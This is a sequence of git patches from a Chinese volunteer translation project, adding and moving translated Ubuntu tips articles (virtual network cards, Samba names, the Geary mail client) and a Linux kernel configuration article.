-这个简短的教程将展示给你如何在Ubuntu做到这些.这是极好的方式在一台电脑上用一张物理网卡和单一的端口#运行和测试多个网络服务. - -动手吧,运行下列命令打开网络接口文件. - - sudo gedit /etc/network/interfaces - -然后按照下图中的步骤吗,尽可能多的添加你想要的虚拟网卡.默认情况下,Linux会给第一张网卡分配eth0的名称.所以如果你的机子只有一张网卡,那么它会被命名为eth0 - -添加虚拟网卡,创建多个静态网卡并命名为eth0:1,eth0:2,eth0:3, etc.(eth0后面紧跟冒号和数字). - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/virtualnetworkcardubuntu.png) - -对于你创建的每一个网卡,也要确保网络都是不同的子网 .. - -完成以后,保存文件并用下列命令重置网络服务. - - sudo service networking restart - -就是这样! - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/virtualnetworkcardubuntu1.png) - -玩得开心! - --------------------------------------------------------------------------------- - -via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-create-virtual-network-cards-in-ubuntu-linux/ - -译者：[Luoxcat](https://github.com/Luoxcat) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 9467e960f87b169dcce99d2c4d56e7fcc0c0f7d0 Mon Sep 17 00:00:00 2001 From: wxy Date: Wed, 27 Nov 2013 00:19:11 +0800 Subject: [PATCH 015/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9ADaily=20Ubun?= =?UTF-8?q?tu=20Tips=20=E2=80=93=20Change=20Samba=20Workgroup=20And=20Comp?= =?UTF-8?q?uter=20Name?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...s – Change Samba Workgroup And Computer Name.md | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) rename {translated => published}/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md (84%) diff --git a/translated/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md b/published/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md similarity index 84% rename from translated/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md rename to published/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md index 66e1f771a9..193a307b86 100644 --- a/translated/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md +++ b/published/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md @@ -1,5 +1,6 @@ 每日Ubuntu小技巧-更改Samba工作组和计算机名 ================================================================================ + 这是另一个Ubuntu的新用户问的最多的问题。这个问题的答案很简单，但当你接触新事物时，你需要时间来完全理解它。 这是我们前几天收到的问题； @@ -8,7 +9,7 @@ 对于大多数Ubuntu用户，改变他们的计算机名称是极少发生的事情，更别说samba工作组了。一些进阶使用者可能要学习如何用Ubuntu很简单的做到这一点。 -当涉及到在Ubuntu中更改计算机名时，我们曾写过一个简单的帖子，可以点击这里[这里][1]找到。按照这个简易指南[changing your computer name in Ubuntu][1]来实现要求。 +当涉及到在Ubuntu中更改计算机名时，我们曾写过一个简单的帖子，可以点击[这里][1]找到。按照这个[怎样修改你的计算机名字][1]的简易指南来实现目的。 也许还有其他方法来改变你在Ubuntu中的计算机名，但是这是最简单和最快的。对于那些使用Ubuntu系统的服务器，你可以用vi或vim编辑的主机名和主机文件。那些不了解这些编辑器的人也许很难使用vi或vim。 @@ -22,8 +23,6 @@ 以上就是如何在Ubuntu中更改你的计算机名以及工作组的方法。记住，如果你这样做是为了共享或访问Windows文件和文件夹，还必须​​安装Samba。没有Samba，你将难以与Windows共享文件。 -To install Samba, run the commands below. - 运行下面的命令安装Samba。 sudo apt-get install samba @@ -31,10 +30,13 @@ To install Samba, run the commands below. 欢迎回来掌握更多的Ubuntu小技巧。 尽情享受吧！ -======= -译者：[crowner](https://github.com/crowner)，[whatever1992](https://github.com/whatever1992) 校对：[校对者ID](https://github.com/校对者ID) +--- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-change-samba-workgroup-and-computer-name/ + +译者：[crowner](https://github.com/crowner)，[whatever1992](https://github.com/whatever1992) 校对：[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 -[1]:http://www.liberiangeek.net/2013/10/daily-ubuntu-tips-change-computer-name/ +[1]:http://linux.cn/article-2199-1.html From 888d0843c5927dedd433e8503932ff4aa6711d4d Mon Sep 17 00:00:00 2001 From: NearTan Date: Wed, 27 Nov 2013 00:29:40 +0800 Subject: [PATCH 016/148] translated --- ... Manage (Display,Sort,Create etc) Files.md | 4 -- ...ary, A Lightweight Email Reader In Ubuntu.md | 46 +++++++++++++++++++ ... Find How Long Your System Been Running.md | 1 - 3 files changed, 46 insertions(+), 5 deletions(-) create mode 100644 sources/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md diff --git a/sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md b/sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md index 8a4f2acac6..0b946b8b6c 100644 --- a/sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md +++ b/sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md @@ -1,9 +1,5 @@ -<<<<<<< HEAD - NearTan认领 -======= hongchuntang wc ->>>>>>> 181b97c7467f6f6c937d208d0fa78a6de06d42e7 13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files ================================================================================ ![](http://linoxide.com/wp-content/uploads/2013/11/linux-cat-command.png) diff --git a/sources/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md b/sources/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md new file mode 100644 index 0000000000..3326324418 --- /dev/null +++ b/sources/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md @@ -0,0 +1,46 @@ + NearTan占坑 +Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu +================================================================================ +As you may already know, Ubuntu comes with its own email client called Thunderbird that allows you to setup email accounts to send and receive emails. It also support IMAP protocol which services like Gmail, Yahoo Mail and Microsoft Outlook support. + +Thunderbird is a great email client and does everything an email client supposed to do, but if you’re looking for an alternative that is lightweight and built around GNOME, then you may want to try Geary. + +Geary is a free email program that lets you quickly and effortlessly read emails with a simple interface based around conversations. The entire discuss is read from a single pane without you having to click from one message to another. + +Geary also support IMAP protocol which will let you send and receive emails using your online webmail accounts from Google, Yahoo and Microsoft. + +For users with Ubuntu 13.10, Geary is already available from Ubuntu Software Center. All they have to do is run the commands below to install Geary. + + sudo apt-get install geary + +For previous versions of Ubuntu, press **Ctrl – Alt – T** on your keyboard to open the terminal. When opens, run the commands below to add its PPA repository. + + sudo add-apt-repository ppa:yorba/ppa + +Next, run the commands below to update your system and install Geary. + + sudo apt-get update && sudo apt-get install geary + +When you launch Geary the first time, it wants you to setup email accounts from Gmail, Yahoo or Microsoft. + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/gearyubuntu.png) + +The setup is pretty easy, just enter your account info and Geary will attempt to automatically configure your account. + +To uninstall Geary, first remove its PPA repository from your system by running the commands below. + + sudo add-apt-repository -r ppa:yorba/ppa + +Then run the commands below to remove Geary. + + sudo apt-get remove geary + +That’s it. + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweight-email-reader-in-ubuntu/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/sources/Linux Uptime Command – Find How Long Your System Been Running.md b/sources/Linux Uptime Command – Find How Long Your System Been Running.md index 28ac56c0a5..788397a8e3 100644 --- a/sources/Linux Uptime Command – Find How Long Your System Been Running.md +++ b/sources/Linux Uptime Command – Find How Long Your System Been Running.md @@ -1,4 +1,3 @@ - NearTan认领 Linux Uptime Command – Find How Long Your System Been Running ================================================================================ ![](http://linoxide.com/wp-content/uploads/2013/11/linux-uptime-command.png) From 9a8d7436f522e6a7afb313a9753be23833ffb760 Mon Sep 17 00:00:00 2001 From: NearTan Date: Wed, 27 Nov 2013 00:31:50 +0800 Subject: [PATCH 017/148] translated --- ...ary, A Lightweight Email Reader In Ubuntu.md | 47 ------------------- 1 file changed, 47 deletions(-) delete mode 100644 translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md diff --git a/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md b/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md deleted file mode 100644 index ba570c8acc..0000000000 --- a/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md +++ /dev/null @@ -1,47 +0,0 @@ - -每日Ubuntu 小技巧 - Get Geary，Ubuntu下的一个轻量级Email 阅读器 -================================================================================ - -正如大家所知，Ubuntu 原本就自带着可以收发邮件的客户端——Thunderbird，当然它也支持Gmail，Yahoo Mail， Microsoft Outlook 等等支持IMAP 协议的邮件服务。 - -Thunderbird 是一个无所不能伟大的邮件客户端，但是如果你想选择一个能在够在GNOME 下运行的轻量级的客户端，Geary 是一个不错的选择。 - -Geary 是一个界面简洁，能让你快捷方便的阅读邮件的免费程序。它所有的对话均展示在一个简洁的面板上，这样你可以不必用鼠标来切换消息。 - -Geary 还支持IMAP 协议，你可以使用Google, Yahoo 和Microsoft 这样的在线邮箱服务来发送和接收你的邮件。 - -以Ubuntu 13.10为例，Geary 可以在Ubuntu 的软件中心获取。只要运行以下命令即可安装Geary 。 - - sudo apt-get install geary - -在以前的Ubuntu 版本中，键盘按下**Ctrl – Alt – T** 可以打开终端。打开之后，运行以下命令增加PPA 源。 - - sudo add-apt-repository ppa:yorba/ppa - -接下来运行以下命令来升级系统和安装Geary 。 - - sudo apt-get update && sudo apt-get install geary - -当你第一次运行Geary 时，需要你设置邮箱的服务商。 - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/gearyubuntu.png) - -设置非常的简单，只要输入你的账号信息，Geary 就会自动配置好你的账号。 - -若想卸载Geary ，首先要从系统中移除它的PPA 源，要运行的命令如下。 - - sudo add-apt-repository -r ppa:yorba/ppa - -然后再运行以下命令卸载Geary 。 - - sudo apt-get remove geary - -就这么简单~ - --------------------------------------------------------------------------------- - -via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweight-email-reader-in-ubuntu/ - -译者：[NearTan](https://github.com/NearTan) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From 0717adb294cb030739b9f31de15b9e302ec1f835 Mon Sep 17 00:00:00 2001 From: NearTan Date: Wed, 27 Nov 2013 00:46:26 +0800 Subject: [PATCH 018/148] translated by NearTan --- ...ary, A Lightweight Email Reader In Ubuntu.md | 46 ------------------ ...ary, A Lightweight Email Reader In Ubuntu.md | 47 +++++++++++++++++++ 2 files changed, 47 insertions(+), 46 deletions(-) delete mode 100644 sources/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md create mode 100644 translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md diff --git a/sources/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md b/sources/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md deleted file mode 100644 index 3326324418..0000000000 --- a/sources/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md +++ /dev/null @@ -1,46 +0,0 @@ - NearTan占坑 -Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu -================================================================================ -As you may already know, Ubuntu comes with its own email client called Thunderbird that allows you to setup email accounts to send and receive emails. It also support IMAP protocol which services like Gmail, Yahoo Mail and Microsoft Outlook support. - -Thunderbird is a great email client and does everything an email client supposed to do, but if you’re looking for an alternative that is lightweight and built around GNOME, then you may want to try Geary. - -Geary is a free email program that lets you quickly and effortlessly read emails with a simple interface based around conversations. The entire discuss is read from a single pane without you having to click from one message to another. - -Geary also support IMAP protocol which will let you send and receive emails using your online webmail accounts from Google, Yahoo and Microsoft. - -For users with Ubuntu 13.10, Geary is already available from Ubuntu Software Center. All they have to do is run the commands below to install Geary. - - sudo apt-get install geary - -For previous versions of Ubuntu, press **Ctrl – Alt – T** on your keyboard to open the terminal. When opens, run the commands below to add its PPA repository. - - sudo add-apt-repository ppa:yorba/ppa - -Next, run the commands below to update your system and install Geary. - - sudo apt-get update && sudo apt-get install geary - -When you launch Geary the first time, it wants you to setup email accounts from Gmail, Yahoo or Microsoft. - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/gearyubuntu.png) - -The setup is pretty easy, just enter your account info and Geary will attempt to automatically configure your account. - -To uninstall Geary, first remove its PPA repository from your system by running the commands below. - - sudo add-apt-repository -r ppa:yorba/ppa - -Then run the commands below to remove Geary. - - sudo apt-get remove geary - -That’s it. - --------------------------------------------------------------------------------- - -via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweight-email-reader-in-ubuntu/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md b/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md new file mode 100644 index 0000000000..ba570c8acc --- /dev/null +++ b/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md @@ -0,0 +1,47 @@ + +每日Ubuntu 小技巧 - Get Geary，Ubuntu下的一个轻量级Email 阅读器 +================================================================================ + +正如大家所知，Ubuntu 原本就自带着可以收发邮件的客户端——Thunderbird，当然它也支持Gmail，Yahoo Mail， Microsoft Outlook 等等支持IMAP 协议的邮件服务。 + +Thunderbird 是一个无所不能伟大的邮件客户端，但是如果你想选择一个能在够在GNOME 下运行的轻量级的客户端，Geary 是一个不错的选择。 + +Geary 是一个界面简洁，能让你快捷方便的阅读邮件的免费程序。它所有的对话均展示在一个简洁的面板上，这样你可以不必用鼠标来切换消息。 + +Geary 还支持IMAP 协议，你可以使用Google, Yahoo 和Microsoft 这样的在线邮箱服务来发送和接收你的邮件。 + +以Ubuntu 13.10为例，Geary 可以在Ubuntu 的软件中心获取。只要运行以下命令即可安装Geary 。 + + sudo apt-get install geary + +在以前的Ubuntu 版本中，键盘按下**Ctrl – Alt – T** 可以打开终端。打开之后，运行以下命令增加PPA 源。 + + sudo add-apt-repository ppa:yorba/ppa + +接下来运行以下命令来升级系统和安装Geary 。 + + sudo apt-get update && sudo apt-get install geary + +当你第一次运行Geary 时，需要你设置邮箱的服务商。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/gearyubuntu.png) + +设置非常的简单，只要输入你的账号信息，Geary 就会自动配置好你的账号。 + +若想卸载Geary ，首先要从系统中移除它的PPA 源，要运行的命令如下。 + + sudo add-apt-repository -r ppa:yorba/ppa + +然后再运行以下命令卸载Geary 。 + + sudo apt-get remove geary + +就这么简单~ + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweight-email-reader-in-ubuntu/ + +译者：[NearTan](https://github.com/NearTan) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From d553e0d6c5fc7f58294dd197796a8144c2f8205a Mon Sep 17 00:00:00 2001 From: geekpi Date: Wed, 27 Nov 2013 01:11:22 +0000 Subject: [PATCH 019/148] [Translating] 22 The Linux Kernel--Configuring the Kernel Part 18 --- .../22 The Linux Kernel--Configuring the Kernel Part 18.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/sources/The Linux Kernel/22 The Linux Kernel--Configuring the Kernel Part 18.md b/sources/The Linux Kernel/22 The Linux Kernel--Configuring the Kernel Part 18.md index d3b99e04b0..0e08d11a5b 100644 --- a/sources/The Linux Kernel/22 The Linux Kernel--Configuring the Kernel Part 18.md +++ b/sources/The Linux Kernel/22 The Linux Kernel--Configuring the Kernel Part 18.md @@ -1,3 +1,7 @@ +Translating----------geekpi + + + 22 The Linux Kernel: Configuring the Kernel Part 18 ================================================================================ ![](http://www.linux.org/attachments/slide-jpg.616/) From 8d6c038a49f274e0f4cd308cb103bda3788a022e Mon Sep 17 00:00:00 2001 From: geekpi Date: Wed, 27 Nov 2013 02:55:39 +0000 Subject: [PATCH 020/148] [Translated] 22 The Linux Kernel--Configuring the Kernel Part 18 --- ... Kernel--Configuring the Kernel Part 18.md | 116 ------------------ ... Kernel--Configuring the Kernel Part 18.md | 111 +++++++++++++++++ 2 files changed, 111 insertions(+), 116 deletions(-) delete mode 100644 sources/The Linux Kernel/22 The Linux Kernel--Configuring the Kernel Part 18.md create mode 100644 translated/The Linux Kernel/22 The Linux Kernel--Configuring the Kernel Part 18.md diff --git a/sources/The Linux Kernel/22 The Linux Kernel--Configuring the Kernel Part 18.md b/sources/The Linux Kernel/22 The Linux Kernel--Configuring the Kernel Part 18.md deleted file mode 100644 index 0e08d11a5b..0000000000 --- a/sources/The Linux Kernel/22 The Linux Kernel--Configuring the Kernel Part 18.md +++ /dev/null @@ -1,116 +0,0 @@ -Translating----------geekpi - - - -22 The Linux Kernel: Configuring the Kernel Part 18 -================================================================================ -![](http://www.linux.org/attachments/slide-jpg.616/) - -Aloha! Ready for the next article? In this article, we will discuss the auxiliary-screen. The auxiliary displays are small LCD screens; most are equal to or less than 128x64. Then, we will discuss Userspace IO drivers, some virtual drivers, Hyper-V, staging drivers, IOMMU, and other kernel features. - -The first driver to configure for the auxiliary display is the "KS0108 LCD Controller" driver. The KS0108 LCD Controller is a graphics controller made by Samsung. - -Next, the parallel port address for the LCD can be set (Parallel port where the LCD is connected). The first port address is 0x378, the next is 0x278 and the third is 0x3BC. These are not the only choices of addresses. The majority of people will not need to change this. The shell command "cat /proc/ioports" will list the available parallel ports and the addresses. - -The kernel developer can set the writing delay of the KS0108 LCD Controller to the parallel port (Delay between each control writing (microseconds)). The default value is almost always correct, so this typically does not need to be changed. - -The "CFAG12864B LCD" screen is a 128x64, two-color LCD screen. This screen relies on the KS0108 LCD Controller. - -The refresh rate of these LCD screens can be changed (Refresh rate (hertz)). Generally, a higher refresh rate causes more CPU activity. This means slower systems will need a smaller refresh rate. - -After the auxiliary displays are configured, the "Userspace I/O drivers" are then set. The userspace system allows the user's applications and processes to access kernel interrupts and memory addresses. With this enabled, some drivers will be placed in the userspace. - -The "generic Hilscher CIF Card driver" is a userspace driver for Profibus cards and Hilscher CIF Cards. - -The "Userspace I/O platform driver" creates a general system for drivers to be in the userspace. - -The next driver is the same as above, but adds IRQ handling (Userspace I/O platform driver with generic IRQ handling). - -The following driver is again like the one before, but with dynamic memory abilities added (Userspace platform driver with generic irq and dynamic memory). - -Next, some vendor/device specific drivers are available. - -Then, there is a generic PCI/PCIe card driver (Generic driver for PCI 2.3 and PCI Express cards). - -The following driver is for "VFIO support for PCI devices". VFIO stands for Virtual Function Input/Output. VFIO allows devices to directly access userspace in a secure fashion. - -The "VFIO PCI support for VGA devices" allows VGA to be supported by PCI through VFIO. - -Next, are virtio drivers. Virtio is a IO virtualization platform. This virtual software is for operating system virtualization. This is required for running an operating system in a virtual machine on the Linux system. - -The first virtio driver we can configure is the "PCI driver for virtio devices". This allows virtual access to PCI. - -The "Virtio balloon driver" allows the memory owned by a virtual system to be expanded or decreased as needed. Generally, no one wants a virtual system to reserve memory it may never use when the host operating system needs the memory. - -The following driver supports memory mapped virtio devices (Platform bus driver for memory mapped virtio devices). - -If the Linux kernel being configured is intended to run on a Microsoft Hyper-V system, then enable this driver (Microsoft Hyper-V client drivers). This would allow Linux to be the guest/client system on Hyper-V. - -![](http://www.linux.org/attachments/kernel_18-png.617/) - -Next, we have the staging drivers. These are drivers that are under development, may change soon, or are not up to the standard quality for the Linux kernel. The only group of drivers in this category (in this kernel version 3.9.4) are the Android drivers. Yes, Android uses the Linux kernel which would make Android a Linux system. However, this is still debated. If the kernel is intended for Android, then it may be wise to enable all of the drivers. - -The "Android Binder IPC Driver" provides support for Binder which is a system that allows processes to communicate with each other on Android systems. - -The ashmem driver can be enabled next (Enable the Anonymous Shared Memory Subsystem). Ashmem stands for "Anonymous SHared MEMory" or "Android SHared MEMory". This supports a file-based memory system for userspace. - -The "Android log driver" offers the complete Android logging system. - -The "Timed output class driver" and "Android timed gpio driver" allow the Android system to manipulate GPIO pins and undo the manipulations after the timeout. - -The "Android Low Memory Killer" closes processes when more memory is needed. This feature kills the tasks that are not used or inactive. - -The "Android alarm driver" makes the kernel wakeup at set intervals. - -After the staging drivers are configured, the next set of drivers are for the X86 platform. These drivers are vendor/device specific for X86 (32-bit) hardware. - -The next driver is for "Mailbox Hardware Support". This framework controls mailbox queues and interrupt signals for hardware mailbox systems. - -"IOMMU Hardware Support" links the memory to devices that are able to use DMA. IOMMU enhances DMA. The IOMMU maps addresses and blocks faulty devices from accessing the memory. IOMMU also allows hardware to access more memory than it could without IOMMU. - -The "AMD IOMMU support" driver offers better IOMMU support for AMD devices. - -Debugging abilities exist for the AMD IOMMU support (Export AMD IOMMU statistics to debugfs). - -A newer version of the IOMMU driver exists for AMD hardware (AMD IOMMU Version 2 driver). - -The Linux kernel also provides an IOMMU driver specifically for Intel devices (Support for Intel IOMMU using DMA Remapping Devices). - -Some devices may be able to accept a variety of voltages and clock frequencies. This driver allows the operating system to control the device's voltage output and clock rate (Generic Dynamic Voltage and Frequency Scaling (DVFS) support). With this driver enabled, other kernel features can be enabled for power/performance management as seen below. - -"Simple Ondemand" is like above, but specifically changes the clock rate based on the device's activity. Generally, more activity means the device needs a faster clock speed to accommodate for the larger resource demand. - - -"Performance" allows the system to set the clock speed to the maximum supported amount for best performance. This increases power consumption. - -"Powersave" sets the clock rate to the lowest value to save power. - -"Userspace" allows the userspace to set the clock speed. - -"External Connector Class (extcon) support" provides the userspace with a way to watch external connectors like USB and AC ports. This allows applications to know if a cable was plugged into a port. Users will almost always want this enabled. If anyone has purposely disabled this for a legitimate reason, please share with us why that would be needed. - -The "GPIO extcon support" driver is just like the above driver, but is made specifically for GPIO pins. - -Next, there is a list of various vendor/device specific controllers for memory (Memory Controller drivers). Memory chip controllers may be separate devices or built inside the memory chips. These controllers manage the incoming and outgoing data flow. - -The "Industrial I/O support" driver provides a standard interface for sensors despite the bus type they are on (that is, PCIe, spi, GPIO, etc.). IIO is a common abbreviation for Industrial Input/Output. - -The Linux kernel offers support for a large variety of accelerometers, amplifiers, analog to digital converters, inertial measurement units, light sensors, magnetometer sensors, and many other sensors and converters. - -The "Intel Non-Transparent Bridge support" driver supports PCIe hardware bridges which connect to systems. All writes to mapped memory will be mirrored on both systems. - -"VME bridge support" is the same as above except the bridge uses VME which is a different bus standard. - -"Pulse-Width Modulation (PWM) Support" controls the back-light and fan speed by regulating the average power received by such devices. - -"IndustryPack bus support" offers drivers for the IndustryPack bus standards. - -In the next article, we will configure the firmware drivers. Mahalo! - --------------------------------------------------------------------------------- - -via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-18.4896/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/The Linux Kernel/22 The Linux Kernel--Configuring the Kernel Part 18.md b/translated/The Linux Kernel/22 The Linux Kernel--Configuring the Kernel Part 18.md new file mode 100644 index 0000000000..e5007c5663 --- /dev/null +++ b/translated/The Linux Kernel/22 The Linux Kernel--Configuring the Kernel Part 18.md @@ -0,0 +1,111 @@ +戴文的Linux内核专题：22 配置内核 (18) +================================================================================ +![](http://www.linux.org/attachments/slide-jpg.616/) + +你好！准备好下一篇文章了么？在本篇中，我们将会讨论辅助屏幕。辅助显示是一些小的LCD屏幕；大多数小于或等于128x64。接着，我们会讨论用户空间IO驱动，一些虚拟驱动，Hyper-V，开发中驱动，IOMMU，和其他一些内核特性。 + +第一个配置辅助显示的驱动是"KS0108 LCD Controller"。KS0108 LCD Controller是由三星制造的图形控制器。 + +下面可以设置LCD并口地址(Parallel port where the LCD is connected)。第一个并口地址是0x378，下一个是0x278，第三个是0x3BC。这些不是地址唯一的选择。大多数人不需要改变这个。shell命令"cat /proc/ioports"会列出可用的并口和地址。 + +内核可以设置KS0108 LCD 控制器的写入延时到并口(Delay between each control writing (microseconds))。默认的值大部分是正确的，因此一般不需要更改。 + +"CFAG12864B LCD"屏幕是一块128x64，双色LCD屏幕。这块屏幕依赖于KS0108 LCD控制器。 + +可以改变这些LCD屏幕的刷新率(Refresh rate (hertz))。通常上，更高的刷新率会导致更多的CPU活动。这意味着一个缓慢的系统需要一个更低的刷新率。 + +设置完辅助显示后，接着设置"Userspace I/O drivers"。用户空间系统允许用户的应用和进程访问内核中断和内存地址。启用了它，一些驱动可以放在用户空间。 + +"generic Hilscher CIF Card driver"用于Profibus卡和Hilscher CIF卡。 + +"Userspace I/O platform driver"在用户空间创建通用驱动系统。 + +下一个驱动和上面的相同，但是增加IRQ处理(Userspace I/O platform driver with generic IRQ handling)。 + +下面的驱动又像前面的一个，但是增加了动态内存支持(Userspace platform driver with generic irq and dynamic memory)。 + +下面，是一些供应商/设备特性的驱动。 + +接着是一些通用PCI/PCIe卡驱动(Generic driver for PCI 2.3 and PCI Express cards)。 + +下面的驱动用于"VFIO support for PCI devices"。VFIO代表Virtual Function Input/Output(虚拟功能输入/输出)。VFIO允许设备直接以安全方式访问用户空间。 + +"VFIO PCI support for VGA devices"允许VGA通过VFIO被PCI支持。 + +接下来是virtio驱动。virtio是一个IO虚拟化平台。这个虚拟软件用于操作系统虚拟化。这在Linux系统上的虚拟机上运行一个操作系统时需要。 + +我们第一个可以配置的virtio驱动是"PCI driver for virtio devices"。这允许虚拟访问PCI + +"Virtio balloon driver"允许虚拟系统的内存根据需要扩展或减少。通常上，没有人希望在需要内存的时候，虚拟系统保留它可能不会使用的内存。 + +下面的驱动允许内存映射到virtio设备(Platform bus driver for memory mapped virtio devices)。 + +如果Linux内核需要运行在微软的Hyper-V系统上，那么启用这个驱动(Microsoft Hyper-V client drivers)。这允许Linux能够成为Hyper的访客/客户端系统。 + +![](http://www.linux.org/attachments/kernel_18-png.617/) + +下面，我们会配置开发中的驱动。这些驱动人在开发当中，可能会变化很快，或者还没到Linux内核的质量标准。这个分类中的驱动只有Android驱动(在内核3.9.4中)。是的，Andorid使用Linux内核，这使得Andorid编程一个Linux系统。然而，这仍然有争议。如果内核是用于Android，那么最好启用所有的驱动。 + +"Android Binder IPC Driver"提供了对于Binder的支持，它允许Andorid系统进程间相互通信。 + +下面可以启用ashmen驱动(Enable the Anonymous Shared Memory Subsystem)。Ashmem代表"Anonymous SHared MEMory"(虚拟内存共享)或者"Android SHared MEMory"(Andorid共享内存)。 + +"Android log driver"提供了完整的Andorid日志系统。 + +"Timed output class driver" 和 "Android timed gpio driver"允许Andorid系统操作GIP引脚并在超时后取消操作。 + +"Android Low Memory Killer"会在需要更多内存关闭进程。这个特性会杀死不再使用或活跃的任务。 + +"Android alarm driver"使内核在设定的间隔后唤醒。 + +在配置晚开发中的驱动后，下面的驱动用于X86平台。这些驱动是 X86 (32-bit)的供应商/设备特定硬件。 + +下一个驱动是"Mailbox Hardware Support"。这个框架控制邮箱队列和硬件邮箱系统的中断信号。 + +"IOMMU Hardware Support"链接内存到能够使用DMA的设备上。IOMMU增强了DMA。IOMMU映射地址并阻止故障设备访问内存。IOMMU同样允许硬件访问比没有IOMMU更多内存。 + +"AMD IOMMU support"提供了对AMD设备更好的IOMMU支持。 + +对于AMD IOMMU支持存在调试特性(Export AMD IOMMU statistics to debugfs)。 + +存在一个对于AMD硬件的更新版本的IOMMU驱动(AMD IOMMU Version 2 driver)。 + +Linux内核同样支持对Intel设备的IOMMU驱动支持(Support for Intel IOMMU using DMA Remapping Devices)。 + +一些设备可能会接受不同的电压和时钟频率。这个驱动允许操作系统控制设备的电压输出和时钟频率(Generic Dynamic Voltage and Frequency Scaling (DVFS) support)。启用了这个驱动，可以启用下面的那些对于电源/性能管理特性。 + +"Simple Ondemand"就像上面的，但是只会基于设备活动改变时钟频率。通常上，更多的活动意味着设备需要更快的时钟速率来使用更多的资源需求。 + +"Performance"允许系统设置最高支持的时钟速度以满足最好的性能。这会增加电源消耗。 + +"Powersave"会设置时钟频率到最低以节约电源。 + +"Userspace"允许用户空间设置时钟频率。 + +"External Connector Class (extcon) support"使得用户空间可以监视外部连接器如USB和AC口。这允许应用了解是否插入了线缆。用户几乎都希望启用这个。如果任何人由于某个合理的理由禁用了它，请告诉我们为什么这么做。 + +"GPIO extcon support"驱动就像上面的驱动，但是它只对于GPIO管脚。 + +接下来是不同的供货商/设备特定的内存控制器(Memory Controller drivers)。内存芯片控制器可能是独立的设备或者内置在内存芯片上。这些控制器管理这输入和输出的数据流。 + +"Industrial I/O support"驱动提供了标准的传感器接口而不管总线的类型(像PCIe、spi、GPIO等等)。IIO是"Industrial I/O support"(工业IO)的通用缩写。 + 